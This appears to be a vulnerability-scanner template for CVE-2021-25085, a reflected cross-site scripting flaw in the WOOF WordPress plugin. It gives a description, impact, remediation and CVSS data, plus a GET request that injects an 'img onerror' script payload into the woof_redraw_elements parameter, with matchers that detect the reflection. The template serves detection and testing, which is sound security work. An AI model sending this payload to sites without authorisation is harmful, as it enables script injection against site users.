WOOF WordPress plugin - Cross-Site Scripting

id: CVE-2021-25085

info:
  name: WOOF WordPress plugin - Cross-Site Scripting
  author: Maximus Decimus
  severity: medium
  description: |
    The WOOF WordPress plugin does not sanitize or escape the woof_redraw_elements parameter before reflecting it back in an admin page, leading to a reflected cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of the WOOF WordPress plugin, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/b7dd81c6-6af1-4976-b928-421ca69bfa90
    - https://plugins.trac.wordpress.org/changeset/2648751
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25085
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25085
    cwe-id: CWE-79
    epss-score: 0.01651
    epss-percentile: 0.73679
    cpe: cpe:2.3:a:pluginus:woocommerce_products_filter:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: pluginus
    product: woocommerce_products_filter
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wp,xss,wpscan,pluginus,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%20src=x%20onerror=alert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"additional_fields":["<img src=x onerror=alert(document.domain)>"]}'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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